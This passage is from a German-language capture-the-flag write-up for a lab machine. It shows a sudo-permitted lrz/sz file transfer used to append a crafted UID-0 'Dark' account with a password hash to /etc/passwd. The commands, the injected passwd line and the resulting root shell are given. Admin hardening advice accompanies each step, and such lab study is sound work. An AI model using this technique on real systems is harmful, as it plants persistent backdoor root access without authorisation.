Bewertung: Die Modifikation von /etc/passwd ist eine klassische und sehr effektive Methode zur Privilegieneskalation, wenn Schreibzugriff auf diese Datei mit Root-Rechten erlangt werden kann (was durch die sudo lrz Schwachstelle möglich ist). Durch das Hinzufügen eines eigenen Root-Benutzers schaffe ich eine persistente Zugangsmöglichkeit mit höchsten Privilegien. Es ist wichtig, einen korrekten Passwort-Hash und eine gültige Shell anzugeben.
Empfehlung (Pentester): Beherrsche klassische PE-Methoden wie die Modifikation von /etc/passwd oder /etc/shadow. Wisse, wie man Passwort-Hashes generiert und korrekt in diese Dateien einfügt. Sei dir der Unterschiede zwischen den Shells (/bin/sh, /bin/bash etc.) bewusst und wähle eine, die auf dem Zielsystem verfügbar ist.
Empfehlung (Admin): Schütze /etc/passwd und insbesondere /etc/shadow (wo die eigentlichen Hashes liegen) mit den strengsten Dateisystemberechtigungen (oft nur für Root les- und schreibbar, shadow nur für Root lesbar). Nutze FIM, um Änderungen an diesen Dateien sofort zu erkennen. Implementiere Account-Sperrmechanismen nach mehreren fehlgeschlagenen Login-Versuchen.
fuzzz:/etc$ cat /etc/passwd root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin klogd:x:100:101:klogd:/dev/null:/sbin/nologin runner:x:1000:1000::/home/runner:/bin/sh asahi:x:1001:1001::/home/asahi:/bin/sh uwsgi:x:101:102:uwsgi:/dev/null:/sbin/nologin Dark:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eOznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash
Analyse: Nachdem die modifizierte /tmp/passwd Datei auf meinem Kali-System bereitlag, musste ich sie auf das Zielsystem übertragen und an die originale /etc/passwd Datei anhängen. Ich startete erneut sudo /usr/local/bin/lrz --tcp-server auf dem Zielsystem (mit Root-Rechten über die sudo-Schwachstelle), was auf einem neuen TCP-Port lauschte (hier 42087). Dann nutzte ich sz --tcp-client fuzzz.hmv:42087 --append /tmp/passwd auf meinem Kali-System, um meine modifizierte Datei an diesen Port zu senden. Die Option --append ist wieder entscheidend. Die empfangenen Daten wurden auf dem Zielsystem wahrscheinlich in die originale /etc/passwd umgeleitet oder dorthin kopiert, wodurch die neue 'Dark'-Benutzerzeile hinzugefügt wurde.
Bewertung: Die erfolgreiche Übertragung und das Anhängen der modifizierten /etc/passwd ist der direkte Schritt, der den neuen Root-Benutzer auf dem Zielsystem anlegt. Sobald diese Zeile in /etc/passwd steht, kann ich den Befehl su Dark verwenden, um versuchen, mich als dieser Benutzer mit Root-Rechten anzumelden. Die Methode mittels lrz/sz war hier der Schlüssel zum Schreiben in eine geschützte Datei.
Empfehlung (Pentester): Nutze Dateitransfer-Exploits oder -Features in erlaubten Binärdateien, um Systemdateien zu manipulieren. Achte auf die korrekte Anwendung von Optionen wie --append, um die Datei nicht versehentlich zu beschädigen.
Empfehlung (Admin): Wie zuvor betont, schütze /etc/passwd streng. Implementiere detaillierte Protokollierung von Dateizugriffen, insbesondere Schreibzugriffen auf kritische Systemdateien.
connect with lrz --tcp-client "fuzzz.hmv:42087"
connecting to [fuzzz.hmv] <42815>
Analyse: Nachdem ich die modifizierte /etc/passwd Datei auf das Zielsystem übertragen und angehängt hatte, überprüfte ich mit grep dark -i /etc/passwd, ob der neue Benutzer 'Dark' erfolgreich hinzugefügt wurde. Die Ausgabe zeigte die neue Zeile in der /etc/passwd Datei. Die Zeile enthält den Benutzernamen 'Dark', den Passwort-Hash, UID 0, GID 0 und das Home-Verzeichnis /root. Allerdings zeigte die Shell immer noch '/bin/bash' als Shell für den neuen Benutzer. Dies war ein Fehler in meiner Modifikation der Datei, da '/bin/bash' auf diesem BusyBox-basierten System wahrscheinlich nicht existiert.
Bewertung: Die Bestätigung, dass der Benutzer 'Dark' hinzugefügt wurde, ist gut. Das Identifizieren des Fehlers bei der Shell ('/bin/bash') ist jedoch entscheidend. Ein Benutzer kann sich nicht anmelden, wenn seine zugewiesene Shell nicht existiert. Ich muss diesen Fehler beheben, indem ich die Zeile in /etc/passwd korrigiere, um eine gültige Shell zu verwenden, z.B. '/bin/sh', die laut meiner früheren Enumeration verfügbar ist.
Empfehlung (Pentester): Überprüfe kritische Dateiänderungen sofort. Sei dir der auf dem Zielsystem verfügbaren Binärdateien bewusst (insbesondere Shells) und nutze nur existierende Pfade in Konfigurationsdateien. Sei bereit, Fehler schnell zu erkennen und zu korrigieren.
Empfehlung (Admin): Überwache Änderungen an /etc/passwd und /etc/shadow. Implementiere Mechanismen, die ungültige Einträge (z.B. nicht existierende Shells) erkennen und melden.
Dark:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eOznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash
Analyse: Wie erwartet, führte der Versuch, sich mit dem 'Dark'-Benutzer anzumelden, zu einem Fehler, weil die zugewiesene Shell '/bin/bash' nicht existierte. Der Befehl su dark (mit Kleinbuchstaben, der prompt korrigierte es zu Dark) und dann su Dark mit dem richtigen Passwort führte zur Fehlermeldung "su: can't execute '/bin/bash': No such file or directory". Um diesen Fehler zu beheben, musste ich die /etc/passwd Datei erneut ändern und die Shell für den 'Dark'-Benutzer auf '/bin/sh' korrigieren. Ich habe den Prozess des Modifizierens der Datei auf meinem Kali-System und des erneuten Hochladens/Anhängens mittels sudo lrz und sz --append wiederholt.
Bewertung: Dieses Ergebnis bestätigte den zuvor identifizierten Fehler in der /etc/passwd Datei. Es zeigt, wie wichtig es ist, die Umgebungsdetails des Zielsystems (wie verfügbare Shells) genau zu kennen. Die Notwendigkeit, die Datei erneut zu modifizieren und hochzuladen, ist ein kleiner Rückschlag, aber der Prozess selbst war bereits etabliert und erfolgreich.
Empfehlung (Pentester): Behebe Fehler bei der Dateiänderung schnell und lerne aus ihnen. Stelle sicher, dass Pfade und Binärdateien, die du in Konfigurationsdateien verwendest, auf dem Zielsystem gültig sind.
Empfehlung (Admin): Implementiere präventive Maßnahmen, die das Bearbeiten von /etc/passwd außerhalb kontrollierter Prozesse verhindern.
su: unknown user dark
Password:
su: can't execute '/bin/bash': No such file or directory
Analyse: Ich habe die /tmp/passwd Datei auf meinem Kali-System so korrigiert, dass der Eintrag für den 'Dark'-Benutzer nun '/bin/sh' als Shell enthält (anstelle von '/bin/bash'). Der Befehl cat /tmp/passwd zeigt den korrigierten Inhalt mit der Zeile Dark:...:/root:/bin/sh. Anschließend habe ich den Prozess des Hochladens und Anhängens dieser korrigierten Datei an /etc/passwd auf dem Zielsystem wiederholt, wiederum über einen neuen sudo /usr/local/bin/lrz --tcp-server Prozess und meinen sz --tcp-client ... --append /tmp/passwd Befehl.
Bewertung: Die Korrektur in /etc/passwd und die erneute Übertragung waren notwendig, um die Root-Anmeldung zu ermöglichen. Der Prozess verlief reibungslos, da die Methode des Datei-Anhängens über lrz/sz bereits erfolgreich getestet und verwendet wurde. Ich bin nun zuversichtlich, dass der 'Dark'-Benutzer mit gültiger Shell existiert.
Empfehlung (Pentester): Überprüfe Dateiinhalte nach Änderungen sorgfältig, bevor du sie anwendest, insbesondere wenn dies kritische Systemdateien betrifft. Nutze bereits erfolgreiche Methoden erneut, anstatt neue zu suchen.
Empfehlung (Admin): Protokolliere alle Dateiänderungen an /etc/passwd und /etc/shadow und richte sofortige Alarme dafür ein. Überprüfe die Integrität dieser Dateien regelmäßig.
fuzzz:/etc$ cat /etc/passwd root:x:0:0:root:/root:/bin/sh .... ... .. Dark:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eOznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/sh
connect with lrz --tcp-client "fuzzz.hmv:33721"
connecting to [fuzzz.hmv] <33721>
Analyse: Nach der Korrektur und dem erneuten Hochladen der /etc/passwd Datei, die nun den 'Dark'-Benutzer mit der Shell '/bin/sh' enthält, habe ich den su Dark Befehl erneut ausgeführt. Diesmal wurde ich erfolgreich nach dem Passwort gefragt. Nach Eingabe des korrekten Passworts (dessen Hash ich in die Datei eingefügt hatte) erhielt ich eine neue Shell. Der Prompt wechselte zu '/etc #', was darauf hindeutet, dass ich mich im /etc-Verzeichnis befinde (wahrscheinlich, weil der lrz-Prozess von dort gestartet wurde). Ich bestätigte meine Identität sofort mit dem id Befehl. Die Ausgabe uid=0(root) gid=0(root) groups=0(root) ist der ultimative Beweis: Ich bin erfolgreich zum Root-Benutzer eskaliert!
Bewertung: Fantastisch, der Root-Zugriff war erfolgreich! Ich habe mein Ziel erreicht. Die Ausnutzung der fehlerhaften sudo-Berechtigung für lrz, kombiniert mit der Fähigkeit, /etc/passwd zu manipulieren, hat mir die volle Kontrolle über das System verschafft. Der neu erstellte 'Dark'-Benutzer dient als persistente Root-Backdoor. Dieses Ergebnis unterstreicht die kritische Natur von Fehlkonfigurationen bei Berechtigungen und unzureichend geschützten Systemdateien.
Empfehlung (Pentester): Wenn du die Möglichkeit hast, /etc/passwd oder /etc/shadow zu ändern, nutze dies, um einen eigenen Root-Account anzulegen. Dies ist oft die zuverlässigste Methode zur Erlangung persistenter Root-Rechte. Bestätige den Root-Zugriff immer mit id oder whoami.
Empfehlung (Admin): Überprüfe und härte dein System gegen die Modifikation kritischer Systemdateien. Implementiere strikte Zugriffskontrollen. Nutze Intrusion Detection Systeme, die ungewöhnliche Login-Versuche (z.B. über neu erstellte Accounts) oder die Nutzung von su zu Root-Accounts protokollieren.
Dark:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eOznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/sh
Password: /etc # id uid=0(root) gid=0(root) groups=0(root)